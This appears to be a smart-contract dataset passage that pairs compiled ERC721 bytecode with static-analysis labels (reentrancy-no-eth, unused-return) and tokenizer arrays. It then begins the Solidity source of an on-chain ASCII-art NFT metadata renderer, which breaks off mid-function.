ffffffffffffffffffffffffffffffffffffffff161415611b98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8f90613776565b60405180910390fd5b611ba383838361232d565b611bae60008261191b565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bfe9190613b17565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c559190613a90565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4611d1483838361233d565b505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4590613796565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611f3f9190613643565b60405180910390a3505050565b611f57848484611ab2565b611f6384848484612342565b611fa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f99906136f6565b60405180910390fd5b50505050565b60606000821415611ff0576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612150565b600082905060005b6000821461202257808061200b90613cc1565b915050600a8261201b9190613ae6565b9150611ff8565b60008167ffffffffffffffff811115612064577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156120965781602001600182028036833780820191505090505b5090505b60008514612149576001826120af9190613b17565b9150600a856120be9190613d2e565b60306120ca9190613a90565b60f81b818381518110612106577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856121429190613ae6565b945061209a565b8093505050505b919050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061222057507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80612230575061222f826124d9565b5b9050919050565b60008082905060005b84518110156122c7576000858281518110612284577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015190508083116122a65761229f8382612543565b92506122b3565b6122b08184612543565b92505b5080806122bf90613cc1565b915050612240565b508091505092915050565b6122dc838361255a565b6122e96000848484612342565b612328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231f906136f6565b60405180910390fd5b505050565b612338838383612734565b505050565b505050565b60006123638473ffffffffffffffffffffffffffffffffffffffff16612848565b156124cc578373ffffffffffffffffffffffffffffffffffffffff1663150b7a0261238c611913565b8786866040518563ffffffff1660e01b81526004016123ae94939291906135f7565b602060405180830381600087803b1580156123c857600080fd5b505af19250505080156123f957506040513d601f19601f820116820180604052508101906123f69190613061565b60015b61247c573d8060008114612429576040519150601f19603f3d011682016040523d82523d6000602084013e61242e565b606091505b50600081511415612474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246b906136f6565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506124d1565b600190505b949350505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600082600052816020526040600020905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156125ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c190613896565b60405180910390fd5b6125d3816118a7565b15612613576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260a90613756565b60405180910390fd5b61261f6000838361232d565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461266f9190613a90565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46127306000838361233d565b5050565b61273f83838361286b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156127825761277d81612870565b6127c1565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146127c0576127bf83826128b9565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612804576127ff81612a26565b612843565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612842576128418282612b69565b5b5b505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b505050565b600980549050600a600083815260200190815260200160002081905550600981908060018154018082558091505060019003906000526020600020016000909190919091505550565b600060016128c684611127565b6128d09190613b17565b90506000600860008481526020019081526020016000205490508181146129b5576000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816008600083815260200190815260200160002081905550505b6008600084815260200190815260200160002060009055600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b60006001600980549050612a3a9190613b17565b90506000600a6000848152602001908152602001600020549050600060098381548110612a90577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015490508060098381548110612ad8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020018190555081600a600083815260200190815260200160002081905550600a6000858152602001908152602001600020600090556009805480612b4d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b6000612b7483611127565b905081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806008600084815260200190815260200160002081905550505050565b828054612bf490613c15565b90600052602060002090601f016020900481019282612c165760008555612c5d565b82601f10612c2f57805160ff1916838001178555612c5d565b82800160010185558215612c5d579182015b82811115612c5c578251825591602001919060010190612c41565b5b509050612c6a9190612c6e565b5090565b5b80821115612c87576000816000905550600101612c6f565b5090565b6000612c9e612c99846139d6565b6139b1565b905082815260208101848484011115612cb657600080fd5b612cc1848285613bd3565b509392505050565b6000612cdc612cd784613a07565b6139b1565b905082815260208101848484011115612cf457600080fd5b612cff848285613bd3565b509392505050565b600081359050612d1681614422565b92915050565b60008083601f840112612d2e57600080fd5b8235905067ffffffffffffffff811115612d4757600080fd5b602083019150836020820283011115612d5f57600080fd5b9250929050565b600081359050612d7581614439565b92915050565b600081359050612d8a81614450565b92915050565b600081359050612d9f81614467565b92915050565b600081519050612db481614467565b92915050565b600082601f830112612dcb57600080fd5b8135612ddb848260208601612c8b565b91505092915050565b600082601f830112612df557600080fd5b8135612e05848260208601612cc9565b91505092915050565b600081359050612e1d8161447e565b92915050565b600060208284031215612e3557600080fd5b6000612e4384828501612d07565b91505092915050565b60008060408385031215612e5f57600080fd5b6000612e6d85828601612d07565b9250506020612e7e85828601612d07565b9150509250929050565b600080600060608486031215612e9d57600080fd5b6000612eab86828701612d07565b9350506020612ebc86828701612d07565b9250506040612ecd86828701612e0e565b9150509250925092565b60008060008060808587031215612eed57600080fd5b6000612efb87828801612d07565b9450506020612f0c87828801612d07565b9350506040612f1d87828801612e0e565b925050606085013567ffffffffffffffff811115612f3a57600080fd5b612f4687828801612dba565b91505092959194509250565b60008060408385031215612f6557600080fd5b6000612f7385828601612d07565b9250506020612f8485828601612d66565b9150509250929050565b60008060408385031215612fa157600080fd5b6000612faf85828601612d07565b9250506020612fc085828601612e0e565b9150509250929050565b60008060208385031215612fdd57600080fd5b600083013567ffffffffffffffff811115612ff757600080fd5b61300385828601612d1c565b92509250509250929050565b60006020828403121561302157600080fd5b600061302f84828501612d7b565b91505092915050565b60006020828403121561304a57600080fd5b600061305884828501612d90565b91505092915050565b60006020828403121561307357600080fd5b600061308184828501612da5565b91505092915050565b60006020828403121561309c57600080fd5b600082013567ffffffffffffffff8111156130b657600080fd5b6130c284828501612de4565b91505092915050565b6000602082840312156130dd57600080fd5b60006130eb84828501612e0e565b91505092915050565b6130fd81613b4b565b82525050565b61311461310f82613b4b565b613d0a565b82525050565b61312381613b5d565b82525050565b61313281613b69565b82525050565b600061314382613a4d565b61314d8185613a63565b935061315d818560208601613be2565b61316681613e1b565b840191505092915050565b61317a81613b9f565b82525050565b600061318b82613a58565b6131958185613a74565b93506131a5818560208601613be2565b6131ae81613e1b565b840191505092915050565b60006131c482613a58565b6131ce8185613a85565b93506131de818560208601613be2565b80840191505092915050565b600081546131f781613c15565b6132018186613a85565b9450600182166000811461321c576001811461322d57613260565b60ff19831686528186019350613260565b61323685613a38565b60005b8381101561325857815481890152600182019150602081019050613239565b838801955050505b50505092915050565b6000613276601283613a74565b915061328182613e39565b602082019050919050565b6000613299602b83613a74565b91506132a482613e62565b604082019050919050565b60006132bc603283613a74565b91506132c782613eb1565b604082019050919050565b60006132df602683613a74565b91506132ea82613f00565b604082019050919050565b6000613302602583613a74565b915061330d82613f4f565b604082019050919050565b6000613325601c83613a74565b915061333082613f9e565b602082019050919050565b6000613348602483613a74565b915061335382613fc7565b604082019050919050565b600061336b601983613a74565b915061337682614016565b602082019050919050565b600061338e602383613a74565b91506133998261403f565b604082019050919050565b60006133b1602c83613a74565b91506133bc8261408e565b604082019050919050565b60006133d4601e83613a74565b91506133df826140dd565b602082019050919050565b60006133f7603883613a74565b915061340282614106565b604082019050919050565b600061341a602a83613a74565b915061342582614155565b604082019050919050565b600061343d602983613a74565b9150613448826141a4565b604082019050919050565b6000613460602683613a74565b915061346b826141f3565b604082019050919050565b6000613483602083613a74565b915061348e82614242565b602082019050919050565b60006134a6601583613a74565b91506134b18261426b565b602082019050919050565b60006134c9602c83613a74565b91506134d482614294565b604082019050919050565b60006134ec602083613a74565b91506134f7826142e3565b602082019050919050565b600061350f602183613a74565b915061351a8261430c565b604082019050919050565b6000613532603183613a74565b915061353d8261435b565b604082019050919050565b6000613555602c83613a74565b9150613560826143aa565b604082019050919050565b6000613578601683613a74565b9150613583826143f9565b602082019050919050565b61359781613bc9565b82525050565b60006135a98284613103565b60148201915081905092915050565b60006135c482856131ea565b91506135d082846131b9565b91508190509392505050565b60006020820190506135f160008301846130f4565b92915050565b600060808201905061360c60008301876130f4565b61361960208301866130f4565b613626604083018561358e565b81810360608301526136388184613138565b905095945050505050565b6000602082019050613658600083018461311a565b92915050565b60006020820190506136736000830184613129565b92915050565b600060208201905061368e6000830184613171565b92915050565b600060208201905081810360008301526136ae8184613180565b905092915050565b600060208201905081810360008301526136cf81613269565b9050919050565b600060208201905081810360008301526136ef8161328c565b9050919050565b6000602082019050818103600083015261370f816132af565b9050919050565b6000602082019050818103600083015261372f816132d2565b9050919050565b6000602082019050818103600083015261374f816132f5565b9050919050565b6000602082019050818103600083015261376f81613318565b9050919050565b6000602082019050818103600083015261378f8161333b565b9050919050565b600060208201905081810360008301526137af8161335e565b9050919050565b600060208201905081810360008301526137cf81613381565b9050919050565b600060208201905081810360008301526137ef816133a4565b9050919050565b6000602082019050818103600083015261380f816133c7565b9050919050565b6000602082019050818103600083015261382f816133ea565b9050919050565b6000602082019050818103600083015261384f8161340d565b9050919050565b6000602082019050818103600083015261386f81613430565b9050919050565b6000602082019050818103600083015261388f81613453565b9050919050565b600060208201905081810360008301526138af81613476565b9050919050565b600060208201905081810360008301526138cf81613499565b9050919050565b600060208201905081810360008301526138ef816134bc565b9050919050565b6000602082019050818103600083015261390f816134df565b9050919050565b6000602082019050818103600083015261392f81613502565b9050919050565b6000602082019050818103600083015261394f81613525565b9050919050565b6000602082019050818103600083015261396f81613548565b9050919050565b6000602082019050818103600083015261398f8161356b565b9050919050565b60006020820190506139ab600083018461358e565b92915050565b60006139bb6139cc565b90506139c78282613c47565b919050565b6000604051905090565b600067ffffffffffffffff8211156139f1576139f0613dec565b5b6139fa82613e1b565b9050602081019050919050565b600067ffffffffffffffff821115613a2257613a21613dec565b5b613a2b82613e1b565b9050602081019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000613a9b82613bc9565b9150613aa683613bc9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613adb57613ada613d5f565b5b828201905092915050565b6000613af182613bc9565b9150613afc83613bc9565b925082613b0c57613b0b613d8e565b5b828204905092915050565b6000613b2282613bc9565b9150613b2d83613bc9565b925082821015613b4057613b3f613d5f565b5b828203905092915050565b6000613b5682613ba9565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613c00578082015181840152602081019050613be5565b83811115613c0f576000848401525b50505050565b60006002820490506001821680613c2d57607f821691505b60208210811415613c4157613c40613dbd565b5b50919050565b613c5082613e1b565b810181811067ffffffffffffffff82111715613c6f57613c6e613dec565b5b80604052505050565b6000613c8382613b9f565b91507f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613cb657613cb5613d5f565b5b600182019050919050565b6000613ccc82613bc9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613cff57613cfe613d5f565b5b600182019050919050565b6000613d1582613d1c565b9050919050565b6000613d2782613e2c565b9050919050565b6000613d3982613bc9565b9150613d4483613bc9565b925082613d5457613d53613d8e565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f596f752063616e6e74206d696e74206e6f770000000000000000000000000000600082015250565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722066726f6d20696e636f72726563742060008201527f6f776e6572000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4e6f7420656e6f75676820746f6b656e732072656d61696e696e6720746f206d60008201527f696e740000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4164647265737320646f6573206e6f7420657869737420696e206c6973740000600082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4e6f7420656e6f75676820776c20746f6b656e732072656d61696e696e67207460008201527f6f206d696e740000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f546f6b656e20646f6573206e6f742065786973742e0000000000000000000000600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f45786365656473206d6178207065722077616c6c657400000000000000000000600082015250565b61442b81613b4b565b811461443657600080fd5b50565b61444281613b5d565b811461444d57600080fd5b50565b61445981613b69565b811461446457600080fd5b50565b61447081613b73565b811461447b57600080fd5b50565b61448781613bc9565b811461449257600080fd5b5056fea26469706673582212208663baf9acc6d7ae136a100eea329b386f846fe60723e53350ab90823aba9f4d64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2497, 2094, 14142, 4246, 7959, 16147, 24434, 2850, 26337, 5243, 29097, 21926, 16048, 24434, 2683, 2063, 12521, 21926, 2683, 21619, 4215, 2581, 1013, 1013, 4216, 16379, 2007, 2524, 12707, 1058, 2475, 1012, 1023, 1012, 1017, 16770, 1024, 1013, 1013, 2524, 12707, 1012, 8917, 1013, 1013, 5371, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 17174, 13102, 18491, 1013, 29464, 11890, 16048, 2629, 1012, 14017, 1030, 1058, 2549, 1012, 1019, 1012, 1014, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 17174, 13102, 18491, 1013, 29464, 11890, 16048, 2629, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,808
0x95bdEc5B5249f217ac9e0D30AEDbDD479611A00b
// SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "./Base64.sol"; interface ICorruptionsMetadata { function tokenURI(uint256 tokenId, uint256 amount) external view returns (string memory); } interface ICorruptionsDataMapper { function valueFor(uint256 mapIndex, uint256 key) external view returns (uint256); } interface ICorruptionsDeviationWriter { function drawCanvas(uint256 tokenId, uint256 amount) external pure returns (string[32] memory); } interface ICorruptionsFont { function font() external view returns (string memory); } interface ICorruptionsAscension { function base() external view returns (string memory); } struct DeviationInfo { string name; address contractAddress; uint256 extraData; } interface ICorruptionsDeviationRegistry { function valueFor(uint256 index) external view returns (DeviationInfo memory); } struct InsightMap { uint256 savedXP; uint256 lastSaveBlock; } interface ICorruptions { function insightMap(uint256 tokenID) external view returns (InsightMap memory); function insight(uint256 tokenID) external view returns (uint256); function ownerOf(uint256 tokenID) external view returns (address); } contract CorruptionsMetadata is Ownable, ICorruptionsMetadata { string public description; ICorruptionsDataMapper private dataMapper; ICorruptionsFont private font; ICorruptionsAscension private menes; ICorruptions private corruptions; struct RandParts { string border; string corruptor; string phrase; string checker; bool omitInsight; uint16 reduction; bool alternate; uint256 r1; uint256 r2; uint256 r3; uint256 r4; string[32] colorCanvas; } constructor() Ownable() { description = "Unknown"; dataMapper = ICorruptionsDataMapper(0x7A96d95a787524a27a4df36b64a96910a2fDCF5B); font = ICorruptionsFont(0xdf8A48979F33f12952Ab4cF6f960EA4071fc656b); menes = ICorruptionsAscension(0xD5192Ba5Bd9415b5e0d09633657129086a5F36c4); corruptions = ICorruptions(0x5BDf397bB2912859Dbd8011F320a222f79A28d2E); } function setDescription(string memory desc) public onlyOwner { description = desc; } function setFont(address fontAddress) public onlyOwner { font = ICorruptionsFont(fontAddress); } function _blank(string[32] memory canvas, bool whitespace) public pure returns (string[32] memory) { if (whitespace) { for (uint8 i = 0; i < 32; i++) { canvas[i] = "&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;&#x000A0;"; } return canvas; } for (uint8 i = 0; i < 32; i++) { canvas[i] = "&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;&#x0002e;"; } return canvas; } function _insert(bytes memory canvasLine, uint256 offset, bytes memory str, bool singleChar) pure private { canvasLine[offset * 9 + 0] = str[0]; if (singleChar) { canvasLine[offset * 9 + 1] = "<"; canvasLine[offset * 9 + 2] = "!"; canvasLine[offset * 9 + 3] = "-"; canvasLine[offset * 9 + 4] = "-"; canvasLine[offset * 9 + 5] = " "; canvasLine[offset * 9 + 6] = "-"; canvasLine[offset * 9 + 7] = "-"; canvasLine[offset * 9 + 8] = ">"; } else { canvasLine[offset * 9 + 1] = str[1]; canvasLine[offset * 9 + 2] = str[2]; canvasLine[offset * 9 + 3] = str[3]; canvasLine[offset * 9 + 4] = str[4]; canvasLine[offset * 9 + 5] = str[5]; canvasLine[offset * 9 + 6] = str[6]; canvasLine[offset * 9 + 7] = str[7]; canvasLine[offset * 9 + 8] = str[8]; } } function _box(string[32] memory canvas, string memory char, uint256 x, uint256 y, uint256 w, uint256 h, bool singleChar) public pure returns (string[32] memory) { bytes memory str = bytes(char); for (uint256 iy = 0; iy < h; iy++) { bytes memory canvasLine = bytes(canvas[iy + y]); for (uint256 ix = 0; ix < w; ix++) { _insert(canvasLine, ix + x, str, singleChar); } } return canvas; } function _checkeredBox(string[32] memory canvas, string memory char, string memory char2, uint256 x, uint256 y, uint256 w, uint256 h, bool singleChar) public pure returns (string[32] memory) { bytes memory str = bytes(char); bytes memory str2 = bytes(char2); for (uint256 iy = 0; iy < h; iy++) { bytes memory canvasLine = bytes(canvas[iy + y]); for (uint256 ix = 0; ix < w; ix++) { _insert(canvasLine, ix + x, ((iy + y) + (ix + x)) % 2 == 0 ? str : str2, singleChar); } } return canvas; } function _drawCircle(string[32] memory canvas, string memory char, uint256 xc, uint256 yc, uint256 x, uint256 y, bool singleChar) public pure returns (string[32] memory) { bytes memory str = bytes(char); _insert(bytes(canvas[yc + y]), xc + x, str, singleChar); _insert(bytes(canvas[yc + y]), xc - x, str, singleChar); _insert(bytes(canvas[yc - y]), xc + x, str, singleChar); _insert(bytes(canvas[yc - y]), xc - x, str, singleChar); _insert(bytes(canvas[yc + x]), xc + y, str, singleChar); _insert(bytes(canvas[yc + x]), xc - y, str, singleChar); _insert(bytes(canvas[yc - x]), xc + y, str, singleChar); _insert(bytes(canvas[yc - x]), xc - y, str, singleChar); return canvas; } function _circle(string[32] memory canvas, string memory char, uint256 xc, uint256 yc, int8 r, bool singleChar) public pure returns (string[32] memory) { // https://www.geeksforgeeks.org/bresenhams-circle-drawing-algorithm/ int256 x = 0; int256 y = int256(r); int256 d = 3 - 2 * r; canvas = _drawCircle(canvas, char, xc, yc, uint256(x), uint256(y), singleChar); while (y >= x) { x++; if (d > 0) { y--; d = d + 4 * (x - y) + 10; } else { d = d + 4 * x + 6; } canvas = _drawCircle(canvas, char, xc, yc, uint256(x), uint256(y), singleChar); } return canvas; } function _middleBox(string[32] memory canvas, string memory char, string memory char2, uint256 size, bool singleChar) public pure returns (string[32] memory) { canvas = _checkeredBox(canvas, char, char2, 15 - size, 15 - size, size * 2 + 1, size * 2 + 1, singleChar); return canvas; } function _text(string[32] memory canvas, string memory message, uint256 messageLength, uint256 x, uint256 y) public pure returns (string[32] memory) { bytes memory canvasLine = bytes(canvas[y]); for (uint256 i = 0; i < messageLength; i++) { _insert(canvasLine, x + i, abi.encodePacked(bytes(message)[i]), true); } return canvas; } function _richText(string[32] memory canvas, string memory message, uint256 messageLength, uint256 x, uint256 y) public pure returns (string[32] memory) { bytes memory canvasLine = bytes(canvas[y]); for (uint256 i = 0; i < messageLength / 9; i++) { bytes memory sequence = abi.encodePacked(abi.encodePacked( bytes(message)[i * 9], bytes(message)[i * 9 + 1], bytes(message)[i * 9 + 2], bytes(message)[i * 9 + 3], bytes(message)[i * 9 + 4], bytes(message)[i * 9 + 5]), bytes(message)[i * 9 + 6], bytes(message)[i * 9 + 7], bytes(message)[i * 9 + 8] ); _insert(canvasLine, x + i, sequence, false); } return canvas; } function draw(uint256 tokenId, uint256 amount, string[32] memory oCanvas) public view returns (string memory) { string[31] memory lookup = [ "20", "31", "42", "53", "64", "75", "86", "97", "108", "119", "130", "141", "152", "163", "174", "185", "196", "207", "218", "229", "240", "251", "262", "273", "284", "295", "306", "317", "328", "339", "350" ]; string[40] memory randomStrings = [ "/", "$", "|", "8", "_", "?", "#", "%", "^", "~", ":", "#022FB7", "#262A36", "#A802B7", "#3CB702", "#B76F02", "#B70284", "#0D1302", "#020A13", "#130202", "#1A1616", "#000000", "#040A27", "GENERATION", "INDIVIDUAL", "TECHNOLOGY", "EVERYTHING", "EVERYWHERE", "UNDERWORLD", "ILLUMINATI", "TEMPTATION", "REVELATION", "CORRUPTION", "|", "-", "=", "+", "\\", ":", "~" ]; RandParts memory randParts; randParts.border = randomStrings[uint256(keccak256(abi.encodePacked("BORDER", tokenId))) % 11]; randParts.corruptor = randomStrings[uint256(keccak256(abi.encodePacked("CORRUPTOR", tokenId))) % 11]; randParts.phrase = randomStrings[23 + uint256(keccak256(abi.encodePacked("PHRASE", tokenId))) % 10]; randParts.checker = randomStrings[33 + uint256(keccak256(abi.encodePacked("CHECKER", tokenId))) % 7]; string[32] memory canvas; if (bytes(oCanvas[0]).length > 32) { canvas = _blank(canvas, false); randParts.omitInsight = true; randParts.reduction = 64 + uint8(bytes(oCanvas[0])[tokenId % 32]); randParts.alternate = true; for (uint256 i = 0; i < 32; i++) { canvas = _richText(canvas, oCanvas[i], bytes(oCanvas[i]).length, 0, i); } } else if (bytes(oCanvas[0]).length > 0) { canvas = _blank(canvas, false); randParts.omitInsight = true; randParts.reduction = 64; for (uint256 i = 0; i < 32; i++) { canvas = _text(canvas, oCanvas[i], bytes(oCanvas[i]).length, 0, i); } } else { canvas = _blank(canvas, false); canvas = _box(canvas, randParts.border, 0, 0, 31, 1, true); canvas = _box(canvas, randParts.border, 0, 30, 31, 1, true); canvas = _box(canvas, randParts.border, 0, 0, 1, 31, true); canvas = _box(canvas, randParts.border, 30, 0, 1, 31, true); canvas = _circle(canvas, string(abi.encodePacked(bytes(randParts.phrase)[0])), 15, 15, 12, true); canvas = _circle(canvas, string(abi.encodePacked(bytes(randParts.phrase)[1])), 15, 15, 11, true); if (amount < 20) { canvas = _circle(canvas, 